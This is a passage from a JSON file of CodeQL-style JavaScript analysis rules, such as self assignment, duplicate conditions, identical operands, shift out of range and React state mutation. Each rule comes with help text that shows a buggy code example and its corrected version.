needed for documentation or optimization purposes, add a JSDoc comment with a `@type` tag. This will indicate the self-assignment is intentional.\n\n\n## Example\nIn the example below, the constructor function `Rectangle` is intended to initialize properties `x`, `y`, `width`, and `height` to the parameters of the same names.\n\n\n```javascript\nfunction Rectangle(x, y, width, height) {\n\tthis.x = x;\n\tthis.y = y;\n\twidth = width;\n\tthis.height = height;\n}\n\n```\nNote, however, that on line 4 the programmer forgot to qualify the left hand side of the assignment with `this`: the code now performs a useless assignment of the `width` parameter to itself and leaves the `width` property uninitialized.\n\nTo fix this issue, insert a `this` qualifier:\n\n\n```javascript\nfunction Rectangle(x, y, width, height) {\n\tthis.x = x;\n\tthis.y = y;\n\tthis.width = width;\n\tthis.height = height;\n}\n\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 11.13. ECMA, 2011.\n* Common Weakness Enumeration: [CWE-480](https://cwe.mitre.org/data/definitions/480.html).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-480","external/cwe/cwe-561"],"description":"Assigning a variable to itself has no effect.","id":"js/redundant-assignment","kind":"problem","name":"Self assignment","precision":"high","problem.severity":"warning"}},{"id":"js/duplicate-condition","name":"js/duplicate-condition","shortDescription":{"text":"Duplicate 'if' condition"},"fullDescription":{"text":"If two conditions in an 'if'-'else if' chain are identical, the second condition will never hold."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Duplicate 'if' condition\nIf two conditions in an 'if'-'else if' chain are identical, the second condition will never hold. This most likely indicates a copy-paste error where the first condition was copied and then not properly adjusted. Even if the duplication is intentional (relying, for instance, on non-determinism or side effects), such code is confusing and should be avoided.\n\n\n## Recommendation\nExamine the two conditions to find out what they were meant to check. If both the conditions and the branches that depend on them are identical, then the second branch is duplicate code that can be deleted. Otherwise, the second condition needs to be adjusted.\n\n\n## Example\nIn the example below, the function `controller` checks its parameter `msg` to determine what operation it is meant to perform. However, the comparison in the 'else if' is identical to the comparison in the 'if', so this branch will never be taken.\n\n\n```javascript\nfunction controller(msg) {\n\tif (msg == 'start')\n\t\tstart();\n\telse if (msg == 'start')\n\t\tstop();\n\telse\n\t\tthrow new Error(\"Message not understood.\");\n}\n```\nClearly, the 'else if' branch should compare `msg` to `'stop'`:\n\n\n```javascript\nfunction controller(msg) {\n\tif (msg == 'start')\n\t\tstart();\n\telse if (msg == 'stop')\n\t\tstop();\n\telse\n\t\tthrow new Error(\"Message not understood.\");\n}\n```\n","markdown":"# Duplicate 'if' condition\nIf two conditions in an 'if'-'else if' chain are identical, the second condition will never hold. This most likely indicates a copy-paste error where the first condition was copied and then not properly adjusted. Even if the duplication is intentional (relying, for instance, on non-determinism or side effects), such code is confusing and should be avoided.\n\n\n## Recommendation\nExamine the two conditions to find out what they were meant to check. If both the conditions and the branches that depend on them are identical, then the second branch is duplicate code that can be deleted. Otherwise, the second condition needs to be adjusted.\n\n\n## Example\nIn the example below, the function `controller` checks its parameter `msg` to determine what operation it is meant to perform. However, the comparison in the 'else if' is identical to the comparison in the 'if', so this branch will never be taken.\n\n\n```javascript\nfunction controller(msg) {\n\tif (msg == 'start')\n\t\tstart();\n\telse if (msg == 'start')\n\t\tstop();\n\telse\n\t\tthrow new Error(\"Message not understood.\");\n}\n```\nClearly, the 'else if' branch should compare `msg` to `'stop'`:\n\n\n```javascript\nfunction controller(msg) {\n\tif (msg == 'start')\n\t\tstart();\n\telse if (msg == 'stop')\n\t\tstop();\n\telse\n\t\tthrow new Error(\"Message not understood.\");\n}\n```\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-561"],"description":"If two conditions in an 'if'-'else if' chain are identical, the\n              second condition will never hold.","id":"js/duplicate-condition","kind":"problem","name":"Duplicate 'if' condition","precision":"very-high","problem.severity":"warning"}},{"id":"js/redundant-operation","name":"js/redundant-operation","shortDescription":{"text":"Identical operands"},"fullDescription":{"text":"Passing identical, or seemingly identical, operands to an operator such as subtraction or conjunction may indicate a typo; even if it is intentional, it makes the code hard to read."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Identical operands\nMany arithmetic or logical operators yield a trivial result when applied to identical operands: for instance, `x-x` yields zero if `x` is a number, and yields `NaN` otherwise; `x&&x` is always equal to `x`. Code like this is often the result of a typo, such as misspelling a variable name. Even if it is intentional (relying, for instance, on side effects), such code is hard to read and understand and should be avoided.\n\n\n## Recommendation\nExamine the operands for typos. Replace intentional uses of identical operands that have side effects with clearer alternatives.\n\n\n## Example\nIn the example below, the function `avg` is intended to compute the average of two numbers `x` and `y`. However, the programmer accidentally used `x` twice, so the function just returns `x`:\n\n\n```javascript\nfunction avg(x, y) {\n\treturn (x + x)/2;\n}\n```\nThis problem can be fixed by correcting the typo:\n\n\n```javascript\nfunction avg(x, y) {\n\treturn (x + y)/2;\n}\n```\nIn some cases, an expression that looks redundant cannot, in fact, be simplified due to side effects. For instance, `f() && f()` is not necessarily equivalent to `f()`, since `f` may have side effects. This may not be immediately apparent to the reader, however, and it is usually clearer to expand this expression into an 'if' statement:\n\n\n```javascript\nif (f())\n\tf();\n```\n","markdown":"# Identical operands\nMany arithmetic or logical operators yield a trivial result when applied to identical operands: for instance, `x-x` yields zero if `x` is a number, and yields `NaN` otherwise; `x&&x` is always equal to `x`. Code like this is often the result of a typo, such as misspelling a variable name. Even if it is intentional (relying, for instance, on side effects), such code is hard to read and understand and should be avoided.\n\n\n## Recommendation\nExamine the operands for typos. Replace intentional uses of identical operands that have side effects with clearer alternatives.\n\n\n## Example\nIn the example below, the function `avg` is intended to compute the average of two numbers `x` and `y`. However, the programmer accidentally used `x` twice, so the function just returns `x`:\n\n\n```javascript\nfunction avg(x, y) {\n\treturn (x + x)/2;\n}\n```\nThis problem can be fixed by correcting the typo:\n\n\n```javascript\nfunction avg(x, y) {\n\treturn (x + y)/2;\n}\n```\nIn some cases, an expression that looks redundant cannot, in fact, be simplified due to side effects. For instance, `f() && f()` is not necessarily equivalent to `f()`, since `f` may have side effects. This may not be immediately apparent to the reader, however, and it is usually clearer to expand this expression into an 'if' statement:\n\n\n```javascript\nif (f())\n\tf();\n```\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-480","external/cwe/cwe-561"],"description":"Passing identical, or seemingly identical, operands to an\n              operator such as subtraction or conjunction may indicate a typo;\n              even if it is intentional, it makes the code hard to read.","id":"js/redundant-operation","kind":"problem","name":"Identical operands","precision":"very-high","problem.severity":"warning"}},{"id":"js/duplicate-switch-case","name":"js/duplicate-switch-case","shortDescription":{"text":"Duplicate switch case"},"fullDescription":{"text":"If two cases in a switch statement have the same label, the second case will never be executed."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Duplicate switch case\nIn JavaScript, cases in a switch statement can have arbitrary expressions as their labels. The interpreter does not check that these expressions are all different. At runtime, if two cases in a switch statement have the same label, the second case will never be executed. This most likely indicates a copy-paste error where the first case was copied and then not properly adjusted.\n\n\n## Recommendation\nExamine the two cases to find out what they were meant to check. If both the case labels and their statements are identical, then the second case is duplicate code that can be deleted. Otherwise, the second case label needs to be adjusted.\n\n\n## Example\nIn the example below, the function `controller` checks its parameter `msg` to determine what operation it is meant to perform. Note that the 'switch' statement has two cases labeled `'start'`; the second one will never be executed.\n\n\n```javascript\nfunction controller(msg) {\n\tswitch (msg) {\n\tcase 'start':\n\t\tstart();\n\t\tbreak;\n\tcase 'start':\n\t\tstop();\n\t\tbreak;\n\tdefault:\n\t\tthrow new Error(\"Message not understood.\");\n\t}\n}\n```\nClearly, the second case should be labeled `'stop'`:\n\n\n```javascript\nfunction controller(msg) {\n\tswitch (msg) {\n\tcase 'start':\n\t\tstart();\n\t\tbreak;\n\tcase 'stop':\n\t\tstop();\n\t\tbreak;\n\tdefault:\n\t\tthrow new Error(\"Message not understood.\");\n\t}\n}\n```\n","markdown":"# Duplicate switch case\nIn JavaScript, cases in a switch statement can have arbitrary expressions as their labels. The interpreter does not check that these expressions are all different. At runtime, if two cases in a switch statement have the same label, the second case will never be executed. This most likely indicates a copy-paste error where the first case was copied and then not properly adjusted.\n\n\n## Recommendation\nExamine the two cases to find out what they were meant to check. If both the case labels and their statements are identical, then the second case is duplicate code that can be deleted. Otherwise, the second case label needs to be adjusted.\n\n\n## Example\nIn the example below, the function `controller` checks its parameter `msg` to determine what operation it is meant to perform. Note that the 'switch' statement has two cases labeled `'start'`; the second one will never be executed.\n\n\n```javascript\nfunction controller(msg) {\n\tswitch (msg) {\n\tcase 'start':\n\t\tstart();\n\t\tbreak;\n\tcase 'start':\n\t\tstop();\n\t\tbreak;\n\tdefault:\n\t\tthrow new Error(\"Message not understood.\");\n\t}\n}\n```\nClearly, the second case should be labeled `'stop'`:\n\n\n```javascript\nfunction controller(msg) {\n\tswitch (msg) {\n\tcase 'start':\n\t\tstart();\n\t\tbreak;\n\tcase 'stop':\n\t\tstop();\n\t\tbreak;\n\tdefault:\n\t\tthrow new Error(\"Message not understood.\");\n\t}\n}\n```\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-561"],"description":"If two cases in a switch statement have the same label, the second case\n              will never be executed.","id":"js/duplicate-switch-case","kind":"problem","name":"Duplicate switch case","precision":"very-high","problem.severity":"warning"}},{"id":"js/missing-dot-length-in-comparison","name":"js/missing-dot-length-in-comparison","shortDescription":{"text":"Missing '.length' in comparison"},"fullDescription":{"text":"Two variables are being compared using a relational operator, but one is also used to index into the other, suggesting a \".length\" is missing from the comparison."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing '.length' in comparison\nIt is very common to check whether a number is within the bounds of an array or string using a comparison of form `i < array.length`, and later perform an indexing access `array[i]`. If this comparison is mistyped as `i < array`, a type coercion will be performed, which almost never has the intended effect.\n\n\n## Recommendation\nCheck if one of the operands is an array or a string, and make sure to compare against its `length`, not against the value itself.\n\n\n## Example\nThe following example shows a mistyped loop condition `i < array`:\n\n\n```javascript\nfor (var i = 0; i < array; ++i) {\n    count += array[i]\n}\n\n```\nIf the above is executed with `array` set to `[3,5,7]`, the loop will not run at all. The error can be corrected by changing the loop condition to `i < array.length`:\n\n\n```javascript\nfor (var i = 0; i < array.length; ++i) {\n    count += array[i]\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Array.length](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/length)\n","markdown":"# Missing '.length' in comparison\nIt is very common to check whether a number is within the bounds of an array or string using a comparison of form `i < array.length`, and later perform an indexing access `array[i]`. If this comparison is mistyped as `i < array`, a type coercion will be performed, which almost never has the intended effect.\n\n\n## Recommendation\nCheck if one of the operands is an array or a string, and make sure to compare against its `length`, not against the value itself.\n\n\n## Example\nThe following example shows a mistyped loop condition `i < array`:\n\n\n```javascript\nfor (var i = 0; i < array; ++i) {\n    count += array[i]\n}\n\n```\nIf the above is executed with `array` set to `[3,5,7]`, the loop will not run at all. The error can be corrected by changing the loop condition to `i < array.length`:\n\n\n```javascript\nfor (var i = 0; i < array.length; ++i) {\n    count += array[i]\n}\n\n```\n\n## References\n* Mozilla Developer Network: [Array.length](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/length)\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Two variables are being compared using a relational operator, but one is also used\n             to index into the other, suggesting a \".length\" is missing from the comparison.","id":"js/missing-dot-length-in-comparison","kind":"problem","name":"Missing '.length' in comparison","precision":"high","problem.severity":"warning"}},{"id":"js/shift-out-of-range","name":"js/shift-out-of-range","shortDescription":{"text":"Shift out of range"},"fullDescription":{"text":"The integer shift operators '<<', '>>' and '>>>' only take the five least significant bits of their right operand into account. Thus, it is not possible to shift an integer by more than 31 bits."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Shift out of range\nShift operations in JavaScript operate on 32-bit values only, so it is not possible to shift by more than 31 positions. If the right operand of a shift operator is greater than 31, the left operand is actually only shifted by that value modulo 32.\n\n\n## Recommendation\nUse standard library functions such as `Math.pow` to perform the required shifting. Alternatively, you can use the [BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) type if it is available on your platform.\n\n\n## Example\nThe following code snippet attempts to assign `x` the value 2<sup>40</sup> (1099511627776). In fact, however, the left operand `1` is only shifted by `8` (that is, 40 modulo 32), so `x` ends up being assigned the value 2<sup>8</sup> (256).\n\n\n```javascript\nvar x = 1<<40;\n```\nA better solution would be to use `Math.pow` as follows:\n\n\n```javascript\nvar x = Math.pow(2, 40);\n```\nNote, however, that JavaScript internally represents large numbers as floating point numbers, so numbers with a magnitude larger than 2<sup>53</sup> will be represented imprecisely.\n\n\n## References\n* Mozilla Developer Network: [Bitwise operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators).\n* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html).\n","markdown":"# Shift out of range\nShift operations in JavaScript operate on 32-bit values only, so it is not possible to shift by more than 31 positions. If the right operand of a shift operator is greater than 31, the left operand is actually only shifted by that value modulo 32.\n\n\n## Recommendation\nUse standard library functions such as `Math.pow` to perform the required shifting. Alternatively, you can use the [BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) type if it is available on your platform.\n\n\n## Example\nThe following code snippet attempts to assign `x` the value 2<sup>40</sup> (1099511627776). In fact, however, the left operand `1` is only shifted by `8` (that is, 40 modulo 32), so `x` ends up being assigned the value 2<sup>8</sup> (256).\n\n\n```javascript\nvar x = 1<<40;\n```\nA better solution would be to use `Math.pow` as follows:\n\n\n```javascript\nvar x = Math.pow(2, 40);\n```\nNote, however, that JavaScript internally represents large numbers as floating point numbers, so numbers with a magnitude larger than 2<sup>53</sup> will be represented imprecisely.\n\n\n## References\n* Mozilla Developer Network: [Bitwise operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators).\n* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-197"],"description":"The integer shift operators '<<', '>>' and '>>>' only take the five least significant bits of their\n              right operand into account. Thus, it is not possible to shift an integer by more than 31 bits.","id":"js/shift-out-of-range","kind":"problem","name":"Shift out of range","precision":"very-high","problem.severity":"error"}},{"id":"js/call-to-non-callable","name":"js/call-to-non-callable","shortDescription":{"text":"Invocation of non-function"},"fullDescription":{"text":"Trying to invoke a value that is not a function will result in a runtime exception."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Invocation of non-function\nAttempting to invoke a non-function (that is, a primitive value or an object) will cause an exception at runtime. This applies both to calls using `new` and normal calls.\n\n\n## Recommendation\nCarefully inspect the invocation in question. If the problem was not detected during testing, this could either be because the invocation is in dead code, or because it is not covered by a test. In the former case, delete the dead code in question. In the latter case, consider adding a new test.\n\n\n## Example\nIn the following example, function `processResponse` accepts an argument `response`, and, depending on the value of property `response.status`, does one of two things: if `response.status` is 200, it invokes a function `processResponseText` (not shown), and if that function returns an `error` value, it throws that value as an exception; otherwise, it invokes `error` to log the value of `response.status`.\n\n\n```javascript\nfunction error(msg) {\n  console.log(msg);\n}\n\nfunction processResponse(response) {\n  if (response.status === 200) {\n    var error = processResponseText(response.responseText);\n    if (error)\n       throw error;\n  } else {\n    error(\"Unexpected response status \" + response.status);\n  }\n}\n```\nNote that due to JavaScript's scoping rules, `error` in the \"else\" branch actually refers to the `error` variable declared in the \"then\" branch (and not the global function of the same name). Since that variable is always `undefined` in the \"else\" branch, attempting to invoke it will result in an exception at runtime.\n\nTo fix this problem, `error` could be turned into a `let`-bound variable to avoid the accidental name capture:\n\n\n```javascript\nfunction error(msg) {\n  console.log(msg);\n}\n\nfunction processResponse(response) {\n  if (response.status === 200) {\n    let error = processResponseText(response.responseText);\n    if (error)\n       throw error;\n  } else {\n    error(\"Unexpected response status \" + response.status);\n  }\n}\n```\nAlternatively, if ECMAScript 5 compatibility is desired, the `error` variable could be renamed instead, as in this example:\n\n\n```javascript\nfunction error(msg) {\n  console.log(msg);\n}\n\nfunction processResponse(response) {\n  if (response.status === 200) {\n    var err = processResponseText(response.responseText);\n    if (err)\n       throw err;\n  } else {\n    error(\"Unexpected response status \" + response.status);\n  }\n}\n```\n\n## References\n* Mozilla Developer Network: [Calling functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Calling_functions).\n* Common Weakness Enumeration: [CWE-476](https://cwe.mitre.org/data/definitions/476.html).\n","markdown":"# Invocation of non-function\nAttempting to invoke a non-function (that is, a primitive value or an object) will cause an exception at runtime. This applies both to calls using `new` and normal calls.\n\n\n## Recommendation\nCarefully inspect the invocation in question. If the problem was not detected during testing, this could either be because the invocation is in dead code, or because it is not covered by a test. In the former case, delete the dead code in question. In the latter case, consider adding a new test.\n\n\n## Example\nIn the following example, function `processResponse` accepts an argument `response`, and, depending on the value of property `response.status`, does one of two things: if `response.status` is 200, it invokes a function `processResponseText` (not shown), and if that function returns an `error` value, it throws that value as an exception; otherwise, it invokes `error` to log the value of `response.status`.\n\n\n```javascript\nfunction error(msg) {\n  console.log(msg);\n}\n\nfunction processResponse(response) {\n  if (response.status === 200) {\n    var error = processResponseText(response.responseText);\n    if (error)\n       throw error;\n  } else {\n    error(\"Unexpected response status \" + response.status);\n  }\n}\n```\nNote that due to JavaScript's scoping rules, `error` in the \"else\" branch actually refers to the `error` variable declared in the \"then\" branch (and not the global function of the same name). Since that variable is always `undefined` in the \"else\" branch, attempting to invoke it will result in an exception at runtime.\n\nTo fix this problem, `error` could be turned into a `let`-bound variable to avoid the accidental name capture:\n\n\n```javascript\nfunction error(msg) {\n  console.log(msg);\n}\n\nfunction processResponse(response) {\n  if (response.status === 200) {\n    let error = processResponseText(response.responseText);\n    if (error)\n       throw error;\n  } else {\n    error(\"Unexpected response status \" + response.status);\n  }\n}\n```\nAlternatively, if ECMAScript 5 compatibility is desired, the `error` variable could be renamed instead, as in this example:\n\n\n```javascript\nfunction error(msg) {\n  console.log(msg);\n}\n\nfunction processResponse(response) {\n  if (response.status === 200) {\n    var err = processResponseText(response.responseText);\n    if (err)\n       throw err;\n  } else {\n    error(\"Unexpected response status \" + response.status);\n  }\n}\n```\n\n## References\n* Mozilla Developer Network: [Calling functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Calling_functions).\n* Common Weakness Enumeration: [CWE-476](https://cwe.mitre.org/data/definitions/476.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-476"],"description":"Trying to invoke a value that is not a function will result\n              in a runtime exception.","id":"js/call-to-non-callable","kind":"problem","name":"Invocation of non-function","precision":"high","problem.severity":"error"}},{"id":"js/node/missing-exports-qualifier","name":"js/node/missing-exports-qualifier","shortDescription":{"text":"Missing exports qualifier"},"fullDescription":{"text":"Referencing an undeclared global variable in a module that exports a definition of the same name is confusing and may indicate a bug."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Missing exports qualifier\nReferencing an otherwise undeclared global variable in a module that exports a definition of the same name is confusing and may indicate a bug.\n\n\n## Recommendation\nIf the global variable reference is intentional, consider adding a JSLint `/*global ...*/` directive or an externs declaration to declare the variable.\n\nIf the global variable reference is unintentional, qualifying the reference with `exports` will make it refer to the exported definition instead.\n\n\n## Example\nIn the following example, the module exports two functions `checkOne` and `checkList`. The latter is also stored in a variable of the same name that is local to the module, but the former is not. Hence the call `checkOne(xs[i])` on line 7 does not refer to the function defined on line 1, but to an otherwise undeclared global variable also called `checkOne`.\n\n\n```javascript\nexports.checkOne = function(x) {\n  if (!x) throw new Error();\n};\n\nvar checkList = exports.checkList = function(xs) {\n  for (var i=0; i<xs.length; ++i)\n    checkOne(xs[i]);\n};\n```\nAssuming that the intention is to call the `checkOne` function defined on line 1, the call should be qualified with `exports` like this:\n\n\n```javascript\nexports.checkOne = function(x) {\n  if (!x) throw new Error();\n};\n\nvar checkList = exports.checkList = function(xs) {\n  for (var i=0; i<xs.length; ++i)\n    exports.checkOne(xs[i]);\n};\n```\n\n## References\n* Node.js: [Modules](https://nodejs.org/api/modules.html).\n* JSLint Help: [JSLint Directives](http://www.jslint.com/help.html).\n* Closure Compiler: [Advanced Compilation and Externs](https://developers.google.com/closure/compiler/docs/api-tutorial3).\n","markdown":"# Missing exports qualifier\nReferencing an otherwise undeclared global variable in a module that exports a definition of the same name is confusing and may indicate a bug.\n\n\n## Recommendation\nIf the global variable reference is intentional, consider adding a JSLint `/*global ...*/` directive or an externs declaration to declare the variable.\n\nIf the global variable reference is unintentional, qualifying the reference with `exports` will make it refer to the exported definition instead.\n\n\n## Example\nIn the following example, the module exports two functions `checkOne` and `checkList`. The latter is also stored in a variable of the same name that is local to the module, but the former is not. Hence the call `checkOne(xs[i])` on line 7 does not refer to the function defined on line 1, but to an otherwise undeclared global variable also called `checkOne`.\n\n\n```javascript\nexports.checkOne = function(x) {\n  if (!x) throw new Error();\n};\n\nvar checkList = exports.checkList = function(xs) {\n  for (var i=0; i<xs.length; ++i)\n    checkOne(xs[i]);\n};\n```\nAssuming that the intention is to call the `checkOne` function defined on line 1, the call should be qualified with `exports` like this:\n\n\n```javascript\nexports.checkOne = function(x) {\n  if (!x) throw new Error();\n};\n\nvar checkList = exports.checkList = function(xs) {\n  for (var i=0; i<xs.length; ++i)\n    exports.checkOne(xs[i]);\n};\n```\n\n## References\n* Node.js: [Modules](https://nodejs.org/api/modules.html).\n* JSLint Help: [JSLint Directives](http://www.jslint.com/help.html).\n* Closure Compiler: [Advanced Compilation and Externs](https://developers.google.com/closure/compiler/docs/api-tutorial3).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/node.js"],"description":"Referencing an undeclared global variable in a module that exports\n              a definition of the same name is confusing and may indicate a bug.","id":"js/node/missing-exports-qualifier","kind":"problem","name":"Missing exports qualifier","precision":"high","problem.severity":"error"}},{"id":"js/node/assignment-to-exports-variable","name":"js/node/assignment-to-exports-variable","shortDescription":{"text":"Assignment to exports variable"},"fullDescription":{"text":"Assigning to the special 'exports' variable only overwrites its value and does not export anything. Such an assignment is hence most likely unintentional."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Assignment to exports variable\nNode.js modules that only export a single value commonly do so by assigning it directly to the `module.exports` property. A common mistake is to assign it to the `exports` variable instead, but this simply overwrites the value of `exports` without affecting the value of `module.exports`, and does not lead to anything being exported.\n\n\n## Recommendation\nRewrite the assignment to assign to `module.exports` instead.\n\n\n## Example\nIn the following example, module `point.js` attempts to export the function `Point` by assigning it to `exports`. As explained above, this does not work as expected: after the assignment, the `exports` *variable* will contain a reference to `Point`, but the `module.exports` *property* still contains a reference to an empty object. Consequently, the client code in `client.js` will fail, since it attempts to call an object as a constructor.\n\n\n```javascript\n// point.js\nfunction Point(x, y) {\n\tthis.x = x;\n\tthis.y = y;\n}\n\nPoint.prototype.distance = function() {\n\treturn Math.sqrt(this.x*this.x+this.y*this.y);\n};\n\nexports = Point;\n\n// client.js\nvar Point = require('./point');\n\nvar pyth = new Point(3, 4);\nconsole.log(pyth.distance());\n```\nInstead of assigning to `exports`, `point.js` should assign to `module.exports`:\n\n\n```javascript\n// point.js\nfunction Point(x, y) {\n\tthis.x = x;\n\tthis.y = y;\n}\n\nPoint.prototype.distance = function() {\n\treturn Math.sqrt(this.x*this.x+this.y*this.y);\n};\n\nmodule.exports = Point;\n\n// client.js\nvar Point = require('./point');\n\nvar pyth = new Point(3, 4);\nconsole.log(pyth.distance());\n```\n\n## References\n* Node.js Manual: [exports alias](http://nodejs.org/api/modules.html#modules_exports_alias).\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n","markdown":"# Assignment to exports variable\nNode.js modules that only export a single value commonly do so by assigning it directly to the `module.exports` property. A common mistake is to assign it to the `exports` variable instead, but this simply overwrites the value of `exports` without affecting the value of `module.exports`, and does not lead to anything being exported.\n\n\n## Recommendation\nRewrite the assignment to assign to `module.exports` instead.\n\n\n## Example\nIn the following example, module `point.js` attempts to export the function `Point` by assigning it to `exports`. As explained above, this does not work as expected: after the assignment, the `exports` *variable* will contain a reference to `Point`, but the `module.exports` *property* still contains a reference to an empty object. Consequently, the client code in `client.js` will fail, since it attempts to call an object as a constructor.\n\n\n```javascript\n// point.js\nfunction Point(x, y) {\n\tthis.x = x;\n\tthis.y = y;\n}\n\nPoint.prototype.distance = function() {\n\treturn Math.sqrt(this.x*this.x+this.y*this.y);\n};\n\nexports = Point;\n\n// client.js\nvar Point = require('./point');\n\nvar pyth = new Point(3, 4);\nconsole.log(pyth.distance());\n```\nInstead of assigning to `exports`, `point.js` should assign to `module.exports`:\n\n\n```javascript\n// point.js\nfunction Point(x, y) {\n\tthis.x = x;\n\tthis.y = y;\n}\n\nPoint.prototype.distance = function() {\n\treturn Math.sqrt(this.x*this.x+this.y*this.y);\n};\n\nmodule.exports = Point;\n\n// client.js\nvar Point = require('./point');\n\nvar pyth = new Point(3, 4);\nconsole.log(pyth.distance());\n```\n\n## References\n* Node.js Manual: [exports alias](http://nodejs.org/api/modules.html#modules_exports_alias).\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/node.js","external/cwe/cwe-563"],"description":"Assigning to the special 'exports' variable only overwrites its value and does not export\n              anything. Such an assignment is hence most likely unintentional.","id":"js/node/assignment-to-exports-variable","kind":"problem","name":"Assignment to exports variable","precision":"very-high","problem.severity":"warning"}},{"id":"js/react/direct-state-mutation","name":"js/react/direct-state-mutation","shortDescription":{"text":"Direct state mutation"},"fullDescription":{"text":"Mutating the state of a React component directly may lead to lost updates."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Direct state mutation\nReact components have a `state` property. This property contains data associated with the component that may change over time. Although properties of the state object can be read freely, they should not be updated directly, since such modifications could be overwritten by asynchronous updates performed by `setState`.\n\n\n## Recommendation\nRewrite the code to use `setState` instead.\n\n\n## Example\nThe following example component uses `setInterval` to register method `tick` as a callback that is invoked every second and updates `state.now` directly:\n\n```javascript\n\nclass Clock extends React.Component {\n  componentDidMount() {\n    setInterval(() => this.tick(), 1000);\n  }\n  tick() {\n    this.state.now = Date.now();\n  }\n}\n\n```\nInstead, `setState` should be used:\n\n```javascript\n\nclass Clock extends React.Component {\n  componentDidMount() {\n    setInterval(() => this.tick(), 1000);\n  }\n  tick() {\n    this.setState({ now: Date.now() });\n  }\n}\n\n```\n\n## References\n* React Quick Start: [State and Lifecycle](https://facebook.github.io/react/docs/state-and-lifecycle.html).\n","markdown":"# Direct state mutation\nReact components have a `state` property. This property contains data associated with the component that may change over time. Although properties of the state object can be read freely, they should not be updated directly, since such modifications could be overwritten by asynchronous updates performed by `setState`.\n\n\n## Recommendation\nRewrite the code to use `setState` instead.\n\n\n## Example\nThe following example component uses `setInterval` to register method `tick` as a callback that is invoked every second and updates `state.now` directly:\n\n```javascript\n\nclass Clock extends React.Component {\n  componentDidMount() {\n    setInterval(() => this.tick(), 1000);\n  }\n  tick() {\n    this.state.now = Date.now();\n  }\n}\n\n```\nInstead, `setState` should be used:\n\n```javascript\n\nclass Clock extends React.Component {\n  componentDidMount() {\n    setInterval(() => this.tick(), 1000);\n  }\n  tick() {\n    this.setState({ now: Date.now() });\n  }\n}\n\n```\n\n## References\n* React Quick Start: [State and Lifecycle](https://facebook.github.io/react/docs/state-and-lifecycle.html).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/react"],"description":"Mutating the state of a React component directly may lead to\n              lost updates.","id":"js/react/direct-state-mutation","kind":"problem","name":"Direct state mutation","precision":"very-high","problem.severity":"warning"}},{"id":"js/react/unsupported-state-update-in-lifecycle-method","name":"js/react/unsupported-state-update-in-lifecycle-method","shortDescription":{"text":"Unsupported state update in lifecycle method"},"fullDescription":{"text":"Attempting to update the state of a React component at the wrong time can cause undesired behavior."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unsupported state update in lifecycle method\nThe three builtin React component methods `setState`, `replaceState`, and `forceUpdate` can update the state of a component asynchronously. It is, however, not recommended to invoke these methods at certain points in the lifecycle of the component.\n\nFor instance, invoking one of the state update methods during a call to `render` will cause React to throw an exception because the `render` method must be pure. Invoking one of the state update methods from the constructor of a component is also forbidden because the component is not mounted at that point in time. The three component methods `componentDidUpdate`, `componentWillUpdate`, and `shouldComponentUpdate` do allow calls to the state update methods, but only if the calls are conditional.\n\n\n## Recommendation\nOnly invoke a state update method on a React component when its lifecycle allows it.\n\n\n## Example\nThe following example uses `setState` to update the `counter` property of `this.state`, from the constructor of a React component:\n\n\n```javascript\nclass MyComponent extends React.Component {\n\n    constructor(props) {\n        super(props)\n        this.setState({\n            counter: 0\n        })\n\n    }\n\n    render() {\n        return <div>{this.state.counter}</div>\n    }\n\n}\n\n```\nInstead, replace the call to `setState` with an assignment:\n\n\n```javascript\nclass MyComponent extends React.Component {\n\n    constructor(props) {\n        super(props)\n        this.state.counter = 0;\n    }\n\n    render() {\n        return <div>{this.state.counter}</div>\n    }\n\n}\n\n```\n\n## References\n* React reference: [React.Component](https://reactjs.org/docs/react-component.html).\n* React Quick Start: [State and Lifecycle](https://reactjs.org/docs/state-and-lifecycle.html).\n","markdown":"# Unsupported state update in lifecycle method\nThe three builtin React component methods `setState`, `replaceState`, and `forceUpdate` can update the state of a component asynchronously. It is, however, not recommended to invoke these methods at certain points in the lifecycle of the component.\n\nFor instance, invoking one of the state update methods during a call to `render` will cause React to throw an exception because the `render` method must be pure. Invoking one of the state update methods from the constructor of a component is also forbidden because the component is not mounted at that point 